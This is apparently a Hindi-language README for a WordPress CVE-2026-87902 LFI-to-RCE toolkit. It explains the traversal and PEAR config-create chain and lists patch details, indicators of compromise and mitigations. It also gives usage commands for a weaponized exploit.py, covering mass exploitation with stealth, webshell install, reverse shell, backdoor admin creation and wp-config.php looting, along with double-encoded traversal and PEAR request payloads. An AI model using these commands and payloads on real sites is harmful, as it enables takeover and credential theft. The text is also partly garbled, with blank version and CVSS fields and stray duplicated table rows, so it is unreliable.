
WordPress CVE-2026-87902 LFI-to-RCE टूलकिट, जिसमें एक weaponized exploit chain (PEAR RCE, webshell, admin creation, loot) और एक non-intrusive SafeChecker संस्करण तथा risk auditor शामिल है।

केवल नैतिक उपयोग हेतु – अधिकृत सुरक्षा परीक्षण
यह रिपॉज़िटरी केवल अधिकृत सुरक्षा पेशेवरों, ब्लू टीमों और पेनेट्रेशन टेस्टरों के लिए उपकरण प्रदान करती है।
कंप्यूटर सिस्टम तक अनधिकृत पहुँच CFAA (US), Computer Misuse Act (UK), TCK 243/244 (Turkey), और दुनिया भर के समान कानूनों के तहत अवैध है।
CVE‑2026‑87902 WordPress Core (संस्करण 4.7.0 से तक) में एक गंभीर अनधिकृत पथ ट्रैवर्सल और लोकल फ़ाइल इन्क्लूज़न (LFI) भेद्यता है, जो एक अनधिकृत हमलावर को क्वेरी पैरामीटर के माध्यम से मनमानी स्थानीय फ़ाइलों को शामिल करने की अनुमति देती है, और विशिष्ट सर्वर स्थितियों में PEAR फ़ाइल को चेन करके तक बढ़ा सकती है। CVSS स्कोर: । जुलाई 2026 में WordPress के HackerOne कार्यक्रम के माध्यम से द्वारा प्रकट किया गया। 22 सितंबर, 2026 को में पैच किया गया, जिसमें 4.7 तक बैकपोर्ट शामिल हैं।
pagename.phppearcmd.phpयह दोष 2016 से प्रत्येक WordPress रिलीज़ को प्रभावित करता है — एक दशक के संस्करण जो बिना पता चले कोड समीक्षा से गुज़रे। मूल कारण CMS में सबसे अधिक उपयोग किए जाने वाले कोड पथों में से एक में एकल अनुपस्थित सत्यापन कॉल है।
असैनिटाइज़्ड टेम्पलेट रिज़ॉल्यूशन – wp-includes/template.php में get_page_template() pagename क्वेरी वेरिएबल से टेम्पलेट उम्मीदवार बनाता है। उसी फ़ंक्शन में एक पड़ोसी कोड पथ ../ अनुक्रमों को अवरुद्ध करने के लिए validate_file() लागू करता है, लेकिन $pagename शाखा इसे कॉल नहीं करती। pagename में कोई भी ट्रैवर्सल बिना जाँच के पास हो जाता है।
डबल-एन्कोडेड ट्रैवर्सल बायपास – WordPress pagename पर sanitize_title_for_query() लागू करता है, जो ट्रैवर्सल को रोकने के लिए शाब्दिक बिंदुओं (.) को हाइफ़न से बदल देता है। लेकिन यह फ़ंक्शन पहले से डिकोड किए गए इनपुट पर काम करता है और पुनरावर्ती रूप से डिकोड नहीं करता। एक हमलावर %252e%252e%252f भेजता है; वेब सर्वर इसे एक बार %2e%2e%2f में डिकोड करता है; सैनिटाइज़र को कोई शाब्दिक बिंदु नहीं दिखता और इसे पास कर देता है; फिर get_page_template() फ़ंक्शन के अंदर urldecode() को फिर से कॉल करता है, जिससे ../ उत्पन्न होता है।
थीम डायरेक्टरी पूर्वशर्त – सक्रिय थीम में एक शीर्ष-स्तरीय डायरेक्टरी होनी चाहिए जिसका नाम page- से शुरू होता है (जैसे page-templates/)। निर्मित फ़ाइलनाम page-{pagename}.php फिर ट्रैवर्सल के माध्यम से थीम रूट से बाहर निकल जाता है। पुरानी डिफ़ॉल्ट थीम (Twenty Twelve, Twenty Fourteen) और लोकप्रिय तृतीय-पक्ष थीम (Neve, Hestia, Sydney) यह डायरेक्टरी शिप करती हैं। ऐसे पैरेंट से विरासत में मिली चाइल्ड थीम भी पूर्वशर्त को पूरा करती हैं।
locate_template() में LFI सिंक – उम्मीदवार पथ locate_template() को पास किया जाता है, जो थीम डायरेक्टरियों में खोजता है। चूँकि ट्रैवर्सल उन डायरेक्टरियों के बाहर एक फ़ाइल को हल करता है, और फ़ंक्शन केवल file_exists() की जाँच करता है, कोई भी पठनीय .php फ़ाइल पूर्ण वेब सर्वर विशेषाधिकारों के साथ शामिल की जाती है। यह LFI को थीम पूर्वशर्त को पूरा करने वाली किसी भी अनपैच्ड साइट पर बिना शर्त बना देता है — जिसमें इसके डेटाबेस क्रेडेंशियल और प्रमाणीकरण साल्ट के साथ wp-config.php भी शामिल है।
PEAR pearcmd.php RCE एस्केलेशन – PEAR कई PHP इंस्टॉलेशनों के साथ आता है। इसका pearcmd.php सामान्यतः केवल CLI होता है, लेकिन जब register_argc_argv=On होता है, तो PHP URL क्वेरी स्ट्रिंग से $_SERVER['argv'] को भरता है। हमलावर LFI के माध्यम से pearcmd.php को शामिल करता है, config-create को एक तर्क के रूप में पास करता है, और PHP कोड प्लस एक आउटपुट पथ (/tmp/shell.php) प्रदान करता है। PEAR हमलावर के कोड को डिस्क पर लिखता है; एक दूसरा इन्क्लूड इसे निष्पादित करता है।
दूसरा शोषण मार्ग – name (फ्रंट-पेज स्लग), page_id (पोस्ट-पेज ID), preview=true, और एक pagename पेलोड को मिलाने वाला अनुरोध WP_Query को उसकी post_name शाखा में मोड़ देता है, जो sanitize_title_for_query() के माध्यम से pagename को कभी रीराइट नहीं करती। यह ट्रैवर्सल में शाब्दिक बिंदुओं की अनुमति देता है। single.php के बिना एक थीम की आवश्यकता होती है।
सर्वर कॉन्फ़िगरेशन आवश्यकताएँ – RCE वास्तविक परिनियोजनों में सामान्य दो स्थितियों पर निर्भर करता है: pearcmd.php मौजूद/पठनीय (साझा होस्टिंग, cPanel, आधिकारिक PHP Docker इमेज पर लगातार), और register_argc_argv=On (PHP 8.5 से नीचे डिफ़ॉल्ट)। PHP 8.5 ने डिफ़ॉल्ट को Off में बदल दिया। PEAR के बिना आधुनिक PHP 8.5+ सर्वर पर, शोषण LFI पर रुक जाता है।
पैच – WordPress 7.1.2 दो सुरक्षा परतें जोड़ता है: (a) pagename शाखा में अनुपस्थित validate_file() कॉल, और (b) एक नया _wp_is_template_path_allowed() फ़ंक्शन जिसे locate_template() द्वारा प्रत्येक हल किए गए टेम्पलेट के लिए कॉल किया जाता है। यह फ़ंक्शन .. वाले पथों को अस्वीकार करता है, फिर realpath() के माध्यम से वास्तविक पथ को हल करता है और सत्यापित करता है कि यह अनुमत थीम डायरेक्टरियों में से एक के अंदर है। यह गहराई-में-रक्षा सिंक को बंद करती है, न कि केवल उस तक के एक मार्ग को।
जंगल में सक्रिय शोषण – पैच रिलीज़ के 5 घंटे बाद पहले दुर्भावनापूर्ण अनुरोध देखे गए (17:44 UTC, 22 सितंबर, 2026)। अगले दिन में ट्रैफ़िक दस गुना बढ़ गया। तीन चरण देखे गए: config-show टोह → कोर-फ़ाइल पहचान → config-create हथियारीकरण। पेलोड फ़ाइलनामों में wp-pear-rce-flag.php, poc87902.php, luci_*.php, zeta_*.php शामिल थे, जो /tmp और /var/tmp में लिखे गए। हमला करने वाले IP: 169.58.48.193, 169.58.48.195, 2001:df1:e8c0::106b।
प्रभाव – वेब सर्वर विशेषाधिकारों के साथ कोड निष्पादन। पूर्ण साइट अधिग्रहण, wp-config.php क्रेडेंशियल चोरी, डेटा निकासी, वेबशेल इंस्टॉलेशन, एडमिन उपयोगकर्ता निर्माण, रिवर्स शेल, संशोधित प्लगइन/थीम के माध्यम से सप्लाई-चेन हमले, और जुड़े सेवाओं में पार्श्व गति। CVSS 9.2 स्कोर नेटवर्क-शोषणीय, बिना-प्रमाणीकरण, उच्च-गोपनीयता/अखंडता/उपलब्धता प्रभाव को दर्शाता है। उच्च हमला जटिलता थीम और सर्वर पूर्वशर्तों को दर्शाती है, लेकिन सामान्य साझा होस्टिंग पर वे स्थितियाँ अक्सर पूरी होती हैं।
page-* डायरेक्टरी का नाम बदलें या हटा दें, php.ini में register_argc_argv=Off सेट करें, और WAF स्तर पर pagename पैरामीटर में डबल-एन्कोडेड ट्रैवर्सल को अवरुद्ध करें।| उपकरण | उद्देश्य | इच्छित उपयोगकर्ता |
|---|---|---|
exploit.py | LFI पहचान, PEAR RCE चेन, एडमिन उपयोगकर्ता निर्माण, वेबशेल इंस्टॉल, रिवर्स शेल, मास स्कैनिंग, स्टेल्थ मोड, प्रॉक्सी रोटेशन, और पूर्ण हमला श्रृंखला के साथ पूर्ण हथियारीकृत टूलकिट। | रेड टीमें / अधिकृत पेनेस्टर |
safecheck.py | गैर-घुसपैठिया भेद्यता जाँचकर्ता जो WordPress संस्करण का पता लगाता है, एक्सपोज़र को मान्य करता है, और किसी भी फ़ाइल को शामिल किए या कोई पेलोड निष्पादित किए बिना जोखिम का आकलन करता है। JSON रिपोर्ट उत्पन्न करता है। | ब्लू टीमें / सुरक्षा ऑडिटर |
| विशेषता | exploit.py | safecheck.py |
|---|---|---|
| भेद्यता पहचान | ✅ | ✅ |
| संस्करण पहचान | ✅ | ✅ |
थीम page-* डायरेक्टरी जाँच | ✅ | ✅ |
PEAR pearcmd.php पहुँच | ✅ | ✅ |
register_argc_argv जाँच | ✅ | ✅ |
| WAF व्यवहार प्रोब | ❌ | ✅ |
| डबल-एन्कोडेड LFI प्रोब | ✅ | ❌ |
PEAR config-create RCE | ✅ | ❌ |
| एडमिन उपयोगकर्ता निर्माण | ✅ | ❌ |
| वेबशेल इंस्टॉल | ✅ | ❌ |
| रिवर्स शेल | ✅ | ❌ |
wp-config.php लूट | ✅ | ❌ |
| पूर्ण हमला श्रृंखला | ✅ | ❌ |
| मास स्कैनिंग (मल्टी-थ्रेड) | ✅ | ✅ |
| प्रॉक्सी समर्थन | ✅ | ✅ |
| प्रॉक्सी रोटेशन | ✅ | ❌ |
| User‑Agent रोटेशन (OPSEC) | ✅ | ❌ |
| जिटर (OPSEC) | ✅ | ❌ |
| रेट लिमिटर | ✅ | ❌ |
| गैर-घुसपैठिया (सुरक्षित) मोड | ❌ | ✅ |
| जोखिम आकलन रिपोर्ट | ✅ | ✅ |
| शमन सिफ़ारिशें | ❌ | ✅ |
| परिदृश्य | अनुशंसित उपकरण |
|---|---|
| ब्लू टीम – सत्यापित करना कि आपका WordPress भेद्य है या नहीं | safecheck.py |
| सुरक्षा ऑडिट – गैर-घुसपैठिया भेद्यता मूल्यांकन | safecheck.py |
| रेड टीम – पूर्ण शोषण के साथ अधिकृत पेनेट्रेशन परीक्षण | exploit.py |
| बग बाउंटी – जिम्मेदार प्रकटीकरण परीक्षण | safecheck.py |
| मास स्कैनिंग – भेद्यता के लिए कई लक्ष्यों की जाँच | exploit.py (केवल-पहचान) |
| घटना प्रतिक्रिया – जाँचना कि सिस्टम से समझौता हुआ है या नहीं | safecheck.py |
git clone https://github.com/tc4dy/CVE-2026-87902-Toolkit
cd CVE-2026-87902-Toolkit
pip install -r requirements.txt
requests
urllib3
exploit.py पैरामीटर| पैरामीटर | विवरण |
|---|---|
-u, --url | एकल लक्ष्य WordPress URL (जैसे http://wordpress.example.com) |
-f, --file | मास स्कैनिंग के लिए लक्ष्यों की सूची वाली फ़ाइल (प्रति पंक्ति एक) |
--pipe | stdin से लक्ष्य पढ़ें |
--exploit | पहचान के बाद शोषण करें |
--create-admin | स्थायी एडमिन उपयोगकर्ता बनाएँ (प्रारूप: USER:PASS) |
--webshell | RCE के माध्यम से वेबशेल इंस्टॉल करें |
--reverse-shell | रिवर्स शेल ट्रिगर करें (प्रारूप: LHOST:LPORT) |
--loot | wp-config.php और अन्य फ़ाइलें लूटें |
--threads | मल्टी-टार्गेट के लिए थ्रेड्स की संख्या (डिफ़ॉल्ट: 8) |
--timeout | अनुरोध टाइमआउट (डिफ़ॉल्ट: 15s) |
--retry | अधिकतम पुनः प्रयास (डिफ़ॉल्ट: 3) |
--proxy | HTTP/HTTPS प्रॉक्सी (जैसे http://127.0.0.1:8080) |
--proxy-list | रोटेशन के लिए प्रॉक्सी वाली फ़ाइल (प्रति पंक्ति एक) |
--proxy-rotate | प्रॉक्सी रोटेशन रणनीति (round-robin, random, sticky) |
--jitter | अनुरोधों के बीच यादृच्छिक जिटर |
--jitter-range | जिटर न्यूनतम,अधिकतम सेकंड (डिफ़ॉल्ट: 0.1,2.0) |
--delay | अनुरोधों के बीच निश्चित विलंब |
--stealth | स्टेल्थ मोड सक्षम करें (UA रोटेशन + जिटर) |
--insecure | TLS सत्यापन अक्षम करें |
--user-agent | कस्टम User-Agent |
safecheck.py पैरामीटर| पैरामीटर | विवरण |
|---|---|
-u, --url | एकल लक्ष्य WordPress URL (जैसे http://wordpress.example.com) |
-f, --file | लक्ष्यों की सूची वाली फ़ाइल (प्रति पंक्ति एक) |
--pipe | stdin से लक्ष्य पढ़ें |
-t, --threads | मल्टी-टार्गेट के लिए थ्रेड्स की संख्या (डिफ़ॉल्ट: 8) |
--timeout | अनुरोध टाइमआउट (डिफ़ॉल्ट: 15s) |
--retry | अधिकतम पुनः प्रयास (डिफ़ॉल्ट: 3) |
--proxy | HTTP/HTTPS प्रॉक्सी |
--jitter | अनुरोधों के बीच यादृच्छिक जिटर |
--jitter-range | जिटर न्यूनतम,अधिकतम सेकंड (डिफ़ॉल्ट: 0.1,2.0) |
--delay | अनुरोधों के बीच निश्चित विलंब |
--insecure | TLS सत्यापन अक्षम करें |
--user-agent | कस्टम User-Agent |
--max-body | अधिकतम प्रतिक्रिया बॉडी आकार |
--concurrent-per-host | प्रति होस्ट अधिकतम समवर्ती अनुरोध |
--exclude | बहिष्कृत करने के लिए अल्पविराम-पृथक होस्ट |
-o, --output | JSON रिपोर्ट फ़ाइल में सहेजें (.json, .csv, .html, .jsonl) |
--db | SQLite डेटाबेस फ़ाइल |
-v, --verbose | विस्तृत आउटपुट |
-q, --quiet | शांत मोड |
--no-banner | बैनर दबाएँ |
| # | परिदृश्य | कमांड |
|---|---|---|
| 1 | त्वरित भेद्यता जाँच | python safecheck.py -u http://wordpress.example.com |
| 2 | रिपोर्ट के साथ विस्तृत स्कैन | python safecheck.py -u http://wordpress.example.com -o report.json -v |
| 3 | फ़ाइल से मास ऑडिट | python safecheck.py -f targets.txt -t 10 -o audit.json |
| 4 | केवल-पहचान शोषण | python exploit.py -u http://wordpress.example.com |
| 5 | wp-config.php लूट | python exploit.py -u http://wordpress.example.com --exploit --loot |
| 6 | वेबशेल के साथ पूर्ण हमला | python exploit.py -u http://wordpress.example.com --exploit --webshell |
| 7 | स्थायी एडमिन उपयोगकर्ता बनाएँ | python exploit.py -u http://wordpress.example.com --exploit --create-admin evil:P@ssw0rd1 |
| 8 | रिवर्स शेल | python exploit.py -u http://wordpress.example.com --exploit --reverse-shell 10.0.0.1:4444 |
| 9 | पूर्ण हमला श्रृंखला | python exploit.py -u http://wordpress.example.com --exploit --loot --webshell --create-admin evil:P@ssw0rd1 |
| 10 | स्टेल्थ के साथ मास शोषण | python exploit.py -f targets.txt -t 20 --exploit --stealth --jitter -o results.json |
| 11 | प्रॉक्सी रोटेशन | python exploit.py -f targets.txt --proxy-list proxies.txt --proxy-rotate random --exploit |
एक्सप्लॉइट निम्नलिखित WordPress एंडपॉइंट और शोषण चरणों का उपयोग करता है:
| चरण | विधि | एंडपॉइंट | विवरण |
|---|---|---|---|
| 1. फ़िंगरप्रिंट | GET | / | wp-content, wp-includes, wp-json के माध्यम से WordPress का पता लगाएँ |
| 2. संस्करण | GET | /feed/ | <generator> मेटा के माध्यम से संस्करण निकालें |
| 3. पेज ID | GET | /wp-json/wp/v2/pages | एक वैध page_id खोजें |
| 4. थीम डायरेक्टरी | GET | /wp-content/themes/{theme}/page-templates/ | page-* पूर्वशर्त की पुष्टि करें |
| 5. LFI प्रोब | GET | /?page_id={id}&pagename={payload} | स्थानीय फ़ाइल शामिल करने के लिए डबल-एन्कोडेड ट्रैवर्सल |
| 6. PEAR इन्क्लूड | GET | /?page_id={id}&pagename={pearcmd} | pearcmd.php शामिल करें |
| 7. PEAR RCE | GET | /?+config-create+/&page_id={id}&pagename={pearcmd}&/{payload}+{outfile} | PEAR के माध्यम से PHP फ़ाइल लिखें |
| 8. निष्पादन | GET | /?page_id={id}&pagename={outfile} | लिखी गई फ़ाइल शामिल करें → RCE |
| 9. स्थायित्व | GET | (RCE के माध्यम से) | एडमिन उपयोगकर्ता / वेबशेल बनाएँ |
| 10. लूट | GET | /?page_id={id}&pagename={wp-config} | LFI के माध्यम से wp-config.php पढ़ें |
# डबल-एन्कोडेड ट्रैवर्सल उदाहरण
pagename = page-templates/..%252f..%252f..%252f..%252fusr/local/lib/php/pearcmd
# PEAR config-create RCE चेन
GET /?+config-create+/&page_id=2&pagename={encoded_pearcmd}&/{encoded_php}+/tmp/shell.php
# PEAR इन्क्लूड ट्रिगर
GET /?page_id=2&pagename={encoded_output_path}
यह सॉफ़्टवेयर केवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा परीक्षण के लिए प्रदान किया गया है।
| JSON रिपोर्ट | ✅ | ✅ |
| CSV रिपोर्ट | ✅ | ✅ |
| HTML रिपोर्ट | ✅ | ✅ |
| SQLite आउटपुट | ✅ | ✅ |
| कस्टम User‑Agent | ✅ | ✅ |
| SSL सत्यापन नियंत्रण | ✅ | ✅ |
--max-body | अधिकतम प्रतिक्रिया बॉडी आकार |
--concurrent-per-host | प्रति होस्ट अधिकतम समवर्ती अनुरोध |
--rate-limit | प्रति सेकंड अधिकतम अनुरोध |
--exclude | बहिष्कृत करने के लिए अल्पविराम-पृथक होस्ट |
-o, --output | रिपोर्ट फ़ाइल में सहेजें (.json, .csv, .html, .jsonl) |
--db | SQLite डेटाबेस फ़ाइल |
-v, --verbose | विस्तृत आउटपुट |
-q, --quiet | शांत मोड |
--no-banner | बैनर दबाएँ |